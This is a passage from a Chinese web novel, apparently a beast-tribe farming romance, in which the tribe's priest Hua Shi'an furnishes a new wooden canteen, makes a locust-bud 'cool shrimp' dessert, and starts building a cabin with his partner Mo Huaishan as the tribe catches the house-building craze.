所以不等木材全部处理完,花时安让岩秋雨和莫淮山来帮忙,当着众人的面用现有木材拼了一把有靠背的椅子、一张规则平整的长方形实木餐桌。 花时安教过族人编竹凳,多了个靠背的椅子他们自然也知道是用来坐的。刚开始岩秋雨不明白为什么要在凳子背后加三根木条,而坐下去尝试过后,他错愕地瞪大眼睛,一巴掌拍在大腿上,惊呼出声: “不一样,真的不一样!背后多三根木条坐着可舒服,可以放心大胆地坐,放心大胆地往后靠,身体有了支撑,整个人都放松了!” 一听这话,巨明忙地凑上前,“起来起来,让我试试。” “巨明,后面排队去,我们先来的,让我们先试!”旁边等候已久的兽人发出不满的抗议。 一把椅子十多个人,草地上井然有序地排起了队。 椅子用来坐,桌子用来放东西,回部落也有好几个月了,耳目有染,花豆能看懂这些东西的用途,但不是说食堂用来吃饭吗,为什么做一堆桌子放进食堂里? 自家族人当祭司的好处——不懂随便问。 试完椅子,花豆走到花时安身旁,大大方方问出心中疑惑。 从小到大都是端着碗吃饭,不懂餐桌的用途很正常。 正好椅子空出来了,花时安说了句“等着”,走过去把椅子拎了过来,随后往餐桌边上一放,侧身坐上去,将双臂撑在桌上模拟吃饭。 “桌子有很多用处,不光是放东西,还可以用来吃饭。桌椅的高度是我提前量好的,你看我坐在这里是不是正好合适,都不用弯腰。假如桌上现在有个碗,我是不是就能拿着筷子,靠着椅子,撑着桌子舒舒服服地吃饭。” “哇哦!原来是这样。”岩知雨不知道什么时候凑了过来,听花时安解释完,他扎了个马步半蹲在餐桌前,撑着桌面假装吃饭。 简简单单一次尝试,他立刻就体会到了餐桌的妙处,爱不释手地抚摸桌面,由衷感叹:“这玩意儿真好啊!比坐地上吃饭舒服不说,感觉、感觉越来越像个人了是怎么回事?” “感情你现在还不是个人?”花时安笑着调侃他一句,旋即从椅子站起来,扭头朝花豆扬了扬下巴,“来,花豆,你坐下试试。” “祭司大人你偏心!刚刚怎么不让我。”岩秋雨垮着脸,鬼哭狼嚎地埋怨。 “嘿嘿。”花豆美滋滋地坐上椅子。 一旁围观的中年兽人走上前,撑着竹桌问花时安:“祭司大人,木桌虽好,但制作过程非常麻烦,你以前教过我们编竹桌、竹椅,咱们为什么不弄点更简单的竹桌椅?” “我知道!”岩秋雨举手抢答:“竹桌制作简单,但不耐用,用个一年半载差不多就坏了;木桌制作麻烦,但这结实的厚木板、厚木条,一看就能耐用,用个几年都不成问题。” 中年兽人嗤笑一声,没好气地瞪了岩秋雨一眼,“你这不是废话嘛,我又不瞎,当然能看出木桌椅更耐用,但祭司大人不是说了吗,第一批作物收成就要准备分家了,这些桌椅板凳根本用不了多久。” “确实,暂时用一用的话,竹桌竹椅更省事。” 不敢说花时安的决策不对,兽人们不约而同地看向他。 瞧着他们小心翼翼的样子,花时安哼笑一声,慢条斯理道:“思路不对。分家就用不上椅子了吗?将来有了自己的房子,是不是得添家具?桌椅板凳到时候分了带走不行吗?” “对哦,椅子一人一把,分家直接带走不就完事了!整得跟搬家就用不了似的,我真是被空哥带偏了,脑子糊涂了。” “怪我咯?好吧确实怪我,我没想那么多。” “难怪要用木材,还是祭司大人想得长远。” “行了行了,别吹捧我了,赶紧干活。来四个人先拼,剩下的人继续凿,每一把椅子都有可能是你们将来带回家的,组装的时候仔细一点,椅子腿千万别一边高一边低。” “好!” 干劲十足的回应响彻营地,这就是新鲜事物的力量。 部落如今九十余人,一人一把椅子都得做九十多把,而一张长条餐桌最多可坐六个人,为了不那么挤,花时安计划了十六张。 这无疑是个大工程,十多个人铆足了劲干,两三天都不一定做得完,还好他们不止这点人。 临近中午时分,门窗楼梯小队圆满完成任务,率先回归,又过了约莫一个小时,地板护栏小队交上满分试卷,义无反顾地加入。 工作量大,花时安以为至少要傍晚才能忙活完,结果兽人们今天斗志昂扬,仿佛农田中不知疲倦的水牛,太阳还没下山就把桌椅全部做好了。 固定在缺口的新楼梯宽敞而平缓,兽人们三两一组,拎着椅子、抬着木桌轻松登上二楼。踩着纹理清晰的木地板,穿过一排圆木筑起的护栏,推开沉甸甸的木门走进屋内,一间窗明几净,如室内篮球场般空旷开阔的食堂映入眼帘。 木屋开间不算很宽,但进深特别长,几乎占据一整个营地,木桌打横摆放,一排可以像火锅店那样放个三套桌椅,中间过道一点也不狭窄,容纳一百多人不在话下。 桌椅陆陆续续摆进屋,整齐靠墙靠柱摆放,渐渐地,空旷的“室内篮球场”被填满,变成了一间整洁明亮、充满烟火气息的食堂。 彻底完工了,看着一手打造出来的成果,嗅着空气中淡淡的木质香,花时安心情格外舒畅,一种难以言喻的满足感与成就感填满胸膛。 屋里溜达了一圈,仔细将门窗检查了一遍,花时安刚想去阳台上看看护栏,一声浑厚的“祭司大人”从身后响起。 满头大汗的大族长跟捡到钱似的,笑得合不拢嘴,他径直走到花时安身旁,汗津津的手掌往他肩膀上一拍,龇着大牙乐呵呵道:“多亏了你啊祭司大人,这木屋真的太漂亮了!又亮堂又宽敞,以前住的那都是什么啊,跟这完全没法比。” 夸赞的话谁不爱听,花时安扬起嘴角,客客气气道:“大族长满意就好,原本我还担心盖房子耽误你们外出狩猎,听到这话我就放心了。” “哎哟,我的祭司大人,盖房子是为了部落,说什么耽误!部落能拥有这样一座木屋,让我半年不吃肉,让我继续在外边晒十天太阳都是值得的。”大族长急急忙忙表明态度。 评价这么高?花时安轻笑一声,半开玩笑道:“别啊大族长,半年不吃肉哪行,你不想吃我还想吃呢。今天忙完就彻底完工了,明儿你还是早点带着狩猎队出去吧,我都馋了。” “好好好,明天指定抓头大的回来给你解馋!” 大族长爽快应下,哈哈大笑两声,说完他转头扫了一圈木屋,又道:“说起肉我倒想到个事。祭司大人,现在还有什么事要做吗?离天黑还早,没事的话我带那群兽人抓鱼去,听说之前吃那鱼干就是在河里抓回来的。” 想到鱼干的滋味,大族长意犹未尽地舔了舔嘴唇。 房屋盖好,门窗楼梯安装好,桌椅板凳摆放整齐,房屋四周排水的沟渠也随着基坑一同挖好……花时捏着下巴琢磨片刻,摇摇头道:“还真没事了。夏天泡在水里凉快,想去就去吧,但河面上没有树荫遮挡,别晒太久太阳,小心热着。” “欸,好嘞!” 从未下水抓过鱼,大族长一下子就兴奋起来了,说着便摩拳擦掌地转身离开。 看他的背影,花时安突然又想到个事,忙地叫住他:“大族长,跟你借个——” “人”字的音节还没冒出来,大族长头也没回地摆摆手,“去吧去吧,刚结成伴侣的小两口就是腻歪,玩去吧。” 110-120 第111章 第 111 章 槐米凉虾 “砰, 砰,砰——” 沉闷的响声划破寂静的森林,飞鸟蚊虫闻声四散逃离。 高大粗壮的柏树似有节奏地抖动,豆大的柏子“簌簌”砸落在地, 而树脚下, 健硕的兽人挥汗如雨, 手起斧落,反复劈砍树干底部。 又一斧头重重落下,木屑四散飞溅,柏树摇晃愈发剧烈。兽人见状丢下斧头,绕到侧面,旋即抬腿猛地一踹——只听“咔嚓”一声脆响, 参天大树轰然倒地。 力气真大,动作真快,腰可真好啊。 看完莫淮山放倒大树的整个过程,坐在树荫下乘凉的花时安默默在心中感叹。 感叹归感叹,看着兽人额间密密麻麻的汗珠,花时安心疼得紧,于是趁兽人蹲着剔树枝, 没空往这边看, 他悄摸从背篓里摸出锯子,蹑手蹑脚地朝兽人身后走。 “时安, 你要去哪?” 刚走出去两步, 莫淮山运动后略显沙哑的嗓音蓦地响起。 被抓包了,花时安步子一顿,梗着脖子僵硬地转过身,干巴巴一笑, “那什么,我、我去那边看看,逛一逛。” 莫淮山挑了下眉,视线缓慢向下移动,盯着花时安握在手里的锯子,“逛一逛看一看应该不用带上锯子吧?拿着怪沉的,放回背篓再去逛。” “哎呀!”花时安脸一垮,拿着锯子气冲冲走到莫淮山身旁,扬着下巴据理力争:“淮山你不能这样,我是亚兽没错,但我还是个成年人,砍树这活儿我也能干。” “不行。”莫淮山重新蹲坐在地,拿着斧头“哐哐”剔树枝,一反常态地强硬:“砍树是力气活,该兽人来干,我动作很快的,时安你坐着休息就好。” 花时安蹲在他身旁,试图和他讲道理:“盖我们两个的房子,该我们一起出力。我闲着也是闲着,你看,这有锯子呀,我找个阴凉地坐着慢慢锯不费劲的,我多锯一棵你就少砍一棵,总能分担一点,两个人干活没那么累。” “我一个人砍也不累,时安你去树荫下坐着,这里晒。” 枝叶快速脱离树干,莫淮山头也没抬,语气不容抗拒。 看着他湿漉漉的额头,花时安无奈叹了口气,拿着锯子走回树荫下,旋即从背篓里拿出装水的竹筒和羊皮边角料,再次蹲在莫淮山身旁。 小羊皮充当毛巾,花时安轻轻擦干兽人脸上辛劳的汗水,而后拧开盖子把装满水的竹筒喂到他唇边,小声嘀咕:“多喝几口,出这么多汗还敢说不累,嘴巴真硬。” 伴侣亲手喂水,就算不渴也得喝几口,莫淮山仰着脖子“咕嘟咕嘟”喝了小半竹筒,顺势将水推到花时安面前,“时安你也喝。真的不用担心我,我不累的,出汗多纯粹是热。” 花时安有气无力地耷拉着脑袋,嘴巴一瘪,“出门又不让干活,那我待在这儿的意义是什么?给你加油助威当拉拉队?” 不知道什么叫拉拉队,但知道花时安待在这的意义,莫淮山轻轻握住他的手,嘴角微扬,深邃的眸子盈满笑意,“在这陪我。不知道为什么,时安在身边的时候,我特别有干劲。” 糖衣炮弹劈头盖脸地砸了过来,花时安心软得一塌糊涂。 算了算了,帅哥说得都对,花时安毫无征兆地凑近,使劲在兽人嘴唇上吧唧了一口,故作不解地眨眨眼:“没喝蜂蜜啊,为什么嘴巴这么甜?” “要不仔细尝尝?”兽人眼底笑意更浓,微微扬起下巴。 “不要。”花时安不上当,捧着竹筒浅抿了一口水。 大白天的确实也不合适,莫淮山没有勉强,埋头继续剔树枝,同时嘱咐花时安:“去旁边树荫下玩,这里太晒了。想吃野果可以在附近转一转,但不要走太远。” “真把我当幼崽啊。”花时安端着竹筒站起身,眼神复杂地看着他,“莫淮山,你这样会把我宠坏的。到时候把我惯成衣来伸手饭来张口的懒亚兽,有你受的,迟早会后悔。” 莫淮山虽未抬头,语气却前所未有地认真:“我什么都没有,就是力气最多,不怕干活。我不会后悔的,你是我好不容易求来的伴侣,就该宠着你,永远宠着你。” 竹筒里的凉白开不知道什么时候变成了奶茶,还是全糖的那种,花时安低头喝了一口,感觉牙缝里都是甜的,甜齁了。 * “祭司大人,祭司大人!” 天麻麻黑,花时安背着背篓、拎着大包小包,与扛着柏树的莫淮山一同从森林里钻出来,老远就听到岩知乐急吼吼地喊叫。 远远看他又蹦又挥手,着急忙慌的样子,花时安还以为他有什么急事,和莫淮山打了声招呼便急急忙忙走过去,结果刚一上前,岩知乐小嘴叭叭个不停,竟说些有的没的。 “祭司大人你上哪去了?我找了你好久。南瓜还有别的吃法吗?我们今天又摘了好多,天天蒸南瓜我都吃腻了,想换个吃法。哦对,下午狩猎队在河里抓了好些鱼,咱们今晚吃还是——” “咦,什么味儿这么香?”岩知乐猛地吸了吸鼻子,追着馥郁的香气走到花时安身后,从背篓里拿出一根缀满花蕾的树枝,好奇地问:“这是什么呀,闻着怪香的,能吃吗?” 问题可真多啊,都不知道先回答哪个。 卸下背篓放下棕包,花时安擦了擦额头上的汗,冲岩知乐挑了下眉,“着急忙慌地叫我,就为了说这些?还有什么正经事没?” “有!”岩知乐重重点下头。 花时安:“说。” 岩知乐抬手指向草地上卸柏树的莫淮山,“你家莫淮山来回跑几趟了,扛了好些柏树回来,食堂不都盖好了吗,你们砍树干嘛?” 如果眼神可以杀人,岩知乐恐怕已经死两三回了。 花时安气笑了,没好气地在他头上揉了一把,“闲聊也要看看别人在做什么好吗?没看到我一脑门汗,气儿都没喘匀吗?还急急忙忙地叫我。” 自知理亏,岩知乐闷闷地“哦”了一声,“我记住了,下次一定。” 短暂地反省了两秒,岩知乐又抓着花时安胳膊左摇右晃,撒娇似的嘟囔:“祭司大人行行好,我刚刚的问题,你回答一下嘛。” “那么多问题,我回答哪个?”花时安呼出一口热气,把沉甸甸的棕片包裹丢在背篓上。 “这个!”岩知乐举起密密麻麻、满是花蕾的树枝,又问了一次,“这到底是什么呀?看着像果子又像是没开的花,怎么吃啊?” 嚯,这就笃定能吃了? 花时安也没卖关子,顺着他的话道:“你说得没错,这确实是还没盛开的花蕾。它是槐树的花,完全盛开了叫槐花,花蕾状态叫槐米,至于怎么吃……蒸炒煎炸,吃法挺多的。” “槐米?”岩知乐拿着槐米又仔细闻了闻,忽然变得正经起来,“味道有点熟悉,我好像见过你说的槐花。完全盛开是不是白色的,一串一串的,香味特别浓?” 还真是,花时安点点头,“花已经开了?槐花也能吃,下次看见可以摘一些回来,但还是以南瓜为主。” 岩知乐茫然地眨眨眼,“为什么?不好吃?” “好吃,不过饱腹感没办法跟南瓜比,就尝个鲜。” 岩知乐:“原来是这样。背篓和棕包里面都是你采的槐米?咱们今晚吃吗,到底怎么吃?” “嗯,森林里碰到顺便摘的。”花时安扫了眼背篓,下巴一抬,“来吧,好奇怎么吃就帮我把背篓背到河边,把槐米洗干净,等下带你做去。” “哇,那还等什么,走走走。” 没等到答案的问题全部抛之脑后,岩知乐背上背篓匆匆往河边走。 不打算做晚饭,花时安只想用一时兴起采回来的槐米做一道开胃解暑的餐前甜点——槐米凉虾。 凉虾做法很简单,和之前做过的酸辣粉几乎一样的步骤。 葛根粉加凉水稀释,再加热水勾成熟芡,而多出的步骤便是将蒸熟捣碎的槐米糊糊倒入葛根浆中,充分搅拌均匀,然后选用空隙大一点的竹筛,将调制好的浆液倒进去,直接往热水锅中滴。 槐米糊糊稀释了葛根粉,减弱了一部分粘性,所以浆液透过竹筛缝隙落入锅中时,并非之前那种一根一根的长粉条,而是一滴一滴,形似水滴、长着尾巴的“小绿虾”。 落入沸水锅中一煮,“绿虾”渐渐褪色,变成浅绿色的半透明小虾,瞧着晶莹剔透,这个时候就可以出锅了,用漏勺捞出倒入凉水中静置。 早上烧得凉白开还有剩,仓库里也还剩几罐压箱底的蜂蜜。蜂蜜倒进凉水中稀释,搅拌均匀,“小绿虾”差不多凉透了,蜕变成字面意义上的凉虾。 两勺凉虾,一勺半蜂蜜水,槐米凉虾可以出摊了! 晶莹剔透,粒粒分明,一群头大尾细的小绿虾挨挨挤挤地簇拥在碗中,犹如一群灵动的小蝌蚪,甩着尾巴在甜滋滋的蜂蜜水中嬉戏。 第112章 第 112 章 住宅 凉虾做得不多, 一人只分到一碗,这玩意儿又不烫,搁平常端着碗三五口就喝完了,但今天不一样。今天食堂刚完工, 族人正在兴头上, 端着凉虾纷纷往楼上跑, 闹着要体验坐在食堂吃饭。 积极参与集体活动,花时安默默端着碗跟上。 夏日炎热的傍晚,身处通风透气的食堂,坐着舒适合身的桌椅,吃着清甜可口的凉虾,简直是神仙般的日子, 身心皆被巨大的满足感包裹。 一勺Q弹有嚼劲的凉虾咽下肚,岩知乐两眼冒星星,发出满足地喟叹。 看着坐在对面的花时安,他舔了舔嘴唇,摇头晃脑直感叹:“我敢肯定,祭司大人绝对是世界上最聪明的亚兽人!瞧瞧这木屋,瞧瞧这桌椅, 从没想过硬邦邦的木头还能做出这么精致的东西。” “没错!” 岩知乐身旁喝蜂蜜水的木族长放下勺子, 握着木桌边缘轻轻晃了两下,不禁感叹道:“真神奇啊, 一张厚木板、几根粗木条就做出一张桌子, 晃它都不带动,稳当不说,配上这椅子,高矮也正好合适, 坐着可真舒服。” “扑哧。”参与制作的岩秋雨笑出声,抹了抹嘴对木族长说:“一张厚木板、几根粗木条?没你说得那么简单,做这桌椅跟盖房子差不多,量高度长短,凿榫头卯——” “你好烦啊岩秋雨!”岩知乐打断他的话,凶巴巴地瞪了他一眼,“我们采集队也帮过忙的好吗,知道房子怎么盖。我们夸夸祭司大人不行吗,真是显着你了!” 被凶了也不恼,岩秋雨好脾气地耸耸肩,懒得跟他计较,“得了得了,当我没说。” 一碗槐米凉虾都吃完了,桌上聊天的人碗里还剩一大半,花时安喝完最后一口蜂蜜水,一本满足地拍了拍胸口,抬头催促他们,“夸也夸了,拌嘴也拌,赶紧两口吃完,等下还要去处理鱼,还要煮晚饭呢。” 木族长闻言回头瞅了眼,见四周吃完凉虾的族人陆续起身离开,他也麻利地端起碗,连吃带喝。 天塌了有个子高的顶着,岩知乐一点都不着急,他蜗牛似的细嚼慢咽,刚吃下两只小凉虾,接着刚才的话继续夸:“都怪岩秋雨打岔,我话还没说完呢。这凉虾真是好东西啊,分明也是用葛根粉做的,但和酸辣粉的味道口感完全不一样。” “食物煮熟过一遍凉水,又学到了有用的东西,之前我怎么没想到呢?真的好好吃,冰冰凉凉的,非常适合夏天。” 话可真密,花时安托腮看着他,笑吟吟地打趣:“原来你喜欢凉虾啊?看你吃得这么慢,还以为你不喜欢,觉得难以下咽呢。” “怎么会!” 岩知乐嘿嘿一笑,“就是好吃才要慢慢品尝,舍不得一下子吃完。” 花时安:“赶紧吃,你不是学会了嘛,想吃下次再做。” “不不不,一样的食材,祭司大人做的就是更美味。” 木族长点头附和:“别说,我也有这种感觉。” 这马屁拍的,花时安轻笑一声,“那你们可得好好品尝,吃完这顿下顿不知道什么时候了,短时间内我应该不会进厨房。” “为什么?” 三人几乎同时抬起头,异口同声道。 花时安指尖轻敲桌面,朝岩知乐扬了扬下巴,“先前不是问我砍树做什么吗?忘回答你了,我和淮山打算盖一座木屋,盖一座属于我们自己的小木屋。” “盖在哪?” “现在就开始盖了?” “你们两个盖房子?” 凉虾也不吃了,桌上三人齐刷刷盯着花时安和莫淮山。 不说清楚估计是走不了了,花时安往桌上一趴,逐一回答道:“食堂完工刚好有空,我们打算尽快盖,砍好木材就开始。” “当然,盖房子归盖房子,淮山依旧会参与狩猎,傍晚回来才会做自己家的事,不会长时间脱离狩猎队。而我呢,这段时间我就不参与采集了,留在部落先把房子盖好,不过别担心,有什么发现有什么事,我肯定会以部落为先。” 祭司本就有特权,不用白不用,见木族长没有要反对的意思,花时安接着往下说:“至于盖在哪,我们没有换个地方住的打算,房子还是盖原来的位置,挨着歪脖子树。” “树和树之间有一块空地,盖一座木屋绰绰有余,将来其他族人肯定也会盖房子,咱们顺着一个方向往营地这边盖,整整齐齐地盖三排。现在睡觉的树洞可以拿来当仓库,放一些不耐放的食物,以后不想要了也简单,直接砍了就完事。” 一通分析压根没听进去几句,听到房子盖在原来的位置,木族长蓦地松了一口气,仰头将蜂蜜水一饮而尽,顺了顺胸口道:“树洞住着确实有点小,别说你,看到这宽敞的食堂,我都想盖一座木屋。” “不过你们两个人盖房子,淮山还只能晚上回来干活,这、这盖好都什么时候了?”木族长捏着下巴琢磨片刻,抬眸看向花时安,“还是叫狩猎队帮忙吧时安,人多干活快,你们盖一座小房子,用不了几天就能盖好。” 岩秋雨飞快地点点头,“祭司大人对部落的贡献大家都看在眼里,别说一座小木屋,就算想盖食堂这么大一间木屋,我们也要帮忙盖出来!” “没错,祭司大人值得最好的,盖什么小木屋,要盖就盖大的,让狩猎队来帮忙,盖一间比食堂还大的!”头号粉丝岩知乐一本正经道。 怎么突然就要盖大房子了? 花时安揉了揉眉心,低低笑了声,“别,好意心领了,我们两个人住,不追求大房子。帮忙也免了,我和淮山商量好了,反正不急着住,两个人慢慢盖就好,毕竟长期居住的房屋,自己亲手盖的更有归属感。” 岩知乐叹了口气,“可是这样的话,好长时间都吃不到祭司大人做的饭了。” 岩秋雨没说话,喝完凉虾放下碗,心中已有打算。 有了更好的选择,谁会一直住在阴暗潮湿的树洞里。 对木屋非常感兴趣,蠢蠢欲动的木族长转头环视一圈,跟花时安确认:“住的木屋和食堂应该没什么区别吧?是用同一个法子盖吗?” “方法一致,有略微的不同。”花时安抬手指着一览无余的食堂,认真道:“食堂要容纳更多人,需以宽敞为主,所以室内没有墙体,没有做隔断,整座房子就这一间屋,一眼扫过去全看完了。” “而自家住房就住自己一家人,少则一两个,多则三五个,这时候就不用一味追求大了,讲究一个方便舒适、配套齐全。” “可以通过在室内增加木墙,把大的空间分隔成一个个小空间,然后再安装上门窗,打造成独立房间。有的用来当卧室,休息睡觉;有的用来当厨房,吃饭煮饭,多余的房间还可以用来当仓库,存放杂物。家里人多的还可以多隔几间卧室出来,父母幼崽分开住,同住一个屋檐下,互不打扰。” 笼统地概括一下,具体怎么实施靠嘴巴说不明白,于是花时安又补充了一句:“不懂的,不知道怎么做的来问我就行了,我们家房子应该会先盖好,到时候大家也可以来看看。” 对于如今还在住树洞,甚至两三个人挤一个树洞的兽人们来说,拥有属于自己的独立空间,这种诱惑实在是太大了。 岩知乐越听越激动,越听越心动,忍不住惊呼出声,“哇!每个人都可以拥有自己单独的房间,还能在家里煮饭……不行了不行了,我也好想盖房子,现在就想盖。” “树洞真是一天都住不下去了。”木族长兴奋得两眼放光。 岩秋雨更夸张,一巴掌拍在桌子上,拉开椅子站起身。 “干嘛呀?”木族长被他吓了一跳。 岩秋雨端着空碗掉头就走,“砍树,砍树盖房子去!” “冷静冷静,大晚上砍什么树。”莫淮山上前把人拉住。 不出意外的话,这股盖房子的热潮很快就要掀起来了,花时安眯着眼睛笑了笑,友情提醒自己的朋友们:“想盖房子就趁早砍点树回来,过段时间可能砍树都要跑很远,而且木材要彻底晒干才能用,早砍早晒,不然要等好长一段时间。” 好像在暗示什么,岩知乐没听懂,下意识反问:“对啊,木材要晒干才能用,那你们现在也盖不了,还要等——” 话音戛然而止,对上花时安似笑非笑的眸子,岩知乐只觉得脑子里闪过一道金光,突然顿悟。 木族长和岩秋雨对视一眼,读懂了花时安的用意。 食堂完工剩下好些干木材,虽然部落暂时用不上,但那是大家共同努力得来的,属于部落,不能私自拿走,可放着也是放着,如若用新鲜的木材来交换干木材,岂不是马上就能用? 怪不得,怪不得自家盖房子,莫淮山却不把砍回来的大树扛回家门前,反而扛到草地上堆着,原来打的这个主意。 干木材有限,先到先得,花时安只能提醒到这了。 而这一提醒,想连夜出门砍树的人又多了两个。 不知道说了什么让莫淮山误会了,下楼往河边走时,他心事重重地耷拉着脑袋,酝酿好半晌,低低唤了声“时安”。 局促不安的模样一瞧就有话说,花时安挽着他的胳膊与他并肩往前走,轻声给予鼓励:“怎么啦?” “我、我们……”莫淮山扭扭捏捏,支支吾吾,在花时安鼓励的眼神中,闷声道出诉求:“我们的木屋不用太大,只隔一间卧室好不好?” “为什么呀?”花时安不解地问。 莫淮山紧紧握住花时安的手,“我们两个人,一间卧室睡觉够了,我、我不想和你分开睡。” 花时安“扑哧”笑出声,“想什么呢,谁要和你分开睡了?我刚才说得是人家有父母有幼崽的,我们才不分开,有一百间卧室我们也要住一块。” 第113章 第 113 章 筹备 不出所料, 盖房子的风还是吹到了部落。 族人起早贪黑地往森林里钻,扛回一棵又一棵大树,短短几天时间,部落已然变成一个大型木材加工厂, 家家户户门前都堆着树。 门前草地更是夸张, 各种树枝乱七八糟地堆在一起, 好似拔地而起的高山,负责捆柴火的老人小孩一天天就没闲过,挽柴挽到手发软。 砍树备木材只是第一步,真正开始行动的其实没几家。 天气愈发炎热,森林中的野菜野果争先恐后地成熟,之前不见踪影的野兽也陆续钻出来活动, 采集队和狩猎队披星戴月,接连多日满载而归。 所有人都想盖房子,可这样高强度的集体活动,晚上回来只想往床上一瘫,别说处理木材,简直连手指头都懒得动弹。 木材备齐后,花时安和莫淮山正式忙碌起来, 白天花时安用墨斗给木材弹好辅助线, 晚上莫淮山回来锯木头,把一根根完整的大树锯成木板、木条。 兽人很勤快, 干活速度也很快, 木材才备好几天,歪脖子树周围已经堆了好些木板木条,且用来打基础的桩柱、横梁也锯成了合适长短,凿好了卯眼, 莫淮山心疼他,不让他锯木头,干重活,只有轻巧的活儿愿意让他沾手,刨一刨木板什么的。花时安当然也心疼自家兽人,当面不让干重活,那就背着干,反正兽人白天不在家。 可惜锯木头是个体力活,花时安不擅的领域,他吭哧吭哧锯了两天,把自己累得够呛,锯出来的木板却少得可怜,甚至混进木材堆里莫淮山都没发现。 该庆幸的,但又有种挫败感是怎么回事? 秉承着自己多干点,伴侣就少干点的原则,新的一天,花时安照旧拎着锯子从锯木头开始。先把大树锯成多段,再沿着辅助线将树干锯成薄厚适中的木板…… 拉锯子拉到手软,锯累了就换个轻松活,刨木板、打磨木条,或者去河边洗把脸,在地里薅一把由绿变紫的蓝莓,歇一会儿回来继续锯。 熟能生巧,花时安也算是渐入佳境,找到了手感,从天亮忙活到太阳开始落山,堆在身侧的木材几乎是昨天的两倍。 高强度干一天体力活,累是真的累,花时安好似在河水中泡了一天,刚爬上岸,指甲缝里都是木屑与汗水。长时间拉锯子的右手更不用说了,酸到麻木,险些感知不到它的存在。 确实很累,却很有成就感。 太阳刚开始落山,离天黑其实还有一会,但花时安实在干不动了,又担心狩猎队突然回来,被莫淮山抓个正着,索性丢下锯子开始清理“犯罪现场”。 锯木头产生的木屑不多,扫一扫与之前的木屑碎木混在一起,不仔细看压根看不出来,但比昨天多出一倍的木材……花时安将两堆木材堆放在一起,简直不要太显眼,有眼睛就能看出来。 这该如何是好? 莫淮山看见倒是不会说他,不会责怪他,但一想到兽人耷拉着脑袋,流露出那种是我没用,让伴侣受苦受累的神情,花时安就有点头疼。 要不然找地方藏起来,之后一点点往外拿?可他手感来了,明天可能会锯更多,一天堆一天,拿不完,根本拿不完。 正愁怎么解决这些木材,营地那边忽然传来一阵嘈杂的交谈声。花时安吓了一跳,还以为狩猎队回来了,忙地往树后背躲,走出两步看见是采集队,这才松了一口气。 罢了罢了,木材先放一放,一身黏糊糊的臭汗,先洗个澡去。花时安回树洞拿了两颗无患子,横穿草地,慢悠悠地溜达到河边。 脱鞋淌进清凉的河水中,周身笼罩的暑气顿时消解大半,无患子置于掌心打出绵密的泡沫,花时安从头到脚仔仔细细地搓洗一遍,洗去黏腻的汗水,整个人又重新活了过来。 洗澡洗得有点久,以至于走回歪脖子树时,花时安以为自己一热一冷产生了幻觉,不然自家门口为何长出一群小亚兽? 十多个亚兽人蹲在歪脖子树周围,人手一棵树,人手一把锯子。岩知乐、红映兰、长月月……他们不请自来,自顾自地帮忙锯起了木板,像是在自己家里一般随意自在。 什么情况?花时安愣了半晌才回过神,揉了揉眼睛走上前,诧异挑眉看着众人,“你们、你们不是刚从外面回来吗?不去休息会儿,不去把野菜野果收拾一下,都跑这来干嘛?” “来这当然是为了帮忙锯木头呀。” 岩知乐举起锯子晃了晃,笑吟吟道:“这还不明显吗?” 蹲在旁边的红映兰补充道:“放心吧祭司大人,咱们采集队人多,野菜野果有人收拾。我们今天回来得早,闲着也是闲着,过来帮帮忙。” 去洗澡时采集队刚回来,洗完澡时木头都锯了好几截,说明他们背篓一放,拎着锯子就跑了过来,绝非一时兴起。 天气炎热,外出采集同样辛苦,亚兽们一身汗没干,腿上还沾着泥,澡都没洗一个又跑到这来干活。花时安多少有点不忍心,皱着眉头道:“族长让你们过来的?来来来,都放下锯子歇会儿,瞧你们一脑门汗。” 话音随一缕微风飘走了,平时言听计从的亚兽跟没听到一样,埋头吭哧吭哧地拉锯子,没一个人听话停下来休息。 好在没有彻底无视花时安,长月月放慢了拉锯子的速度,用胳膊擦了擦汗,若无其事道:“不累的祭司大人,虽然是族长让我们过来,但我们每个人都来得心甘情愿,你为部落做了这么多,能帮上你的忙,我们高兴还来不及。” “是啊。”另一个女生附和道:“祭司大人你是不知道,大家都争着抢着要来,要不是部落就十多把锯子,现在在这的就不止我们十多个人了,而是一整个采集队。” “嘿嘿,帮祭司大人干活不累,一点都不累。” “真的不累,出汗是热的!” “我们人多,一人锯一根树,一次就有十多根。” “我们之前也锯过木头,不会锯错的。” …… 亚兽们情绪高涨,热情似火,整得花时安都不好意思了。 多一个人多一份力,搁平常没事的时候很乐意他们来帮忙,可如今……花时安揉了揉发胀的眉心,轻叹一口气:“你们自己家也要盖房子,都跑我这来叫什么事,不累就回自家忙活去,早日把房子盖出来。” 红映兰飞快地摇摇头,“我们不着急,具体还不知道要怎么盖呢,来帮忙也是为了你家房子早点盖好,让我们看一看,有个参照。” 花时安:“可是——” “祭司大人。”岩知乐委屈巴巴地瘪着嘴,“你可不能赶我们走,我们走到这里太不容易了,一整个采集队里厮杀出来的。” “厮杀?”花时安一时没反应过来。 岩知乐咯咯咯地笑,“采集队的所有亚兽一块抢锯子,就我们抢到了,算不算你说的那个什么,杀出重围!” “太不容易了,我还被人踩了几脚。” “所以说啊,来都来了,祭司大人不能赶我们走。” 亚兽一人一句,花时安都有点插不上嘴。 铁了心要帮忙干活,也不可能真把他们赶走,花时安无奈耸了耸肩,轻笑一声,“别太着急,别太累,慢慢干。辛苦大家了,回头房子盖好大家都来玩,请你们吃开锅饭。” “开锅饭是什么?” “新房子的第一顿饭。” “好耶!” “干活干活。” …… 不得不说,人多干起活来确实快,十多个亚兽在歪脖子下忙活到天黑,花时安估摸了一下,大概也就两三个小时,而成果几乎是他们这些天的两倍。 照这个速度进行下去,再过两三天就可以开始盖房子了。 狩猎队今天回来得晚,天都黑透了,饭都煮好了才回到部落。所以莫淮山没能着家,洗了把脸就跟着花时安一块去食堂吃饭。 而吃完晚饭走到自家门前,看着树脚下多出来的木材,他吓了一跳,第一时间抓起花时安的手,仔仔细细地检查。 干活嘛,手上多多少少带点伤,好巧不巧,花时安今天刨木头划伤了虎口。以至于莫淮山抓起他的手,眸子一沉,顿时脸色大变。 “时安,我都说了你别去锯木头,怎么又添了一道——” “欸!你可别冤枉我。” 赶在莫淮山把自责酝酿出来之前,花时安打断他的话,反握住他日渐粗糙的手,“我这是刨木板划伤的,跟锯木头无关。再说这么一点小伤,你晚发现一点都要愈合了,没关系的。” 伤口确实不大,浅浅一道血痕,跟猫抓了似的。 莫淮山不好小题大做,轻叹一口气,低头看向堆在地上的木板,“这些木板是怎么回事?才一天时间,多出这么多。” “采集队今天回来得早,岩知乐、红映兰……他们十多个亚兽过来帮忙锯的。人多干活就是快啊,就那么一会儿,顶我们干好多天。”采集队帮了大忙,花时安白天锯的木板完美融入其中,说起来理直气壮。 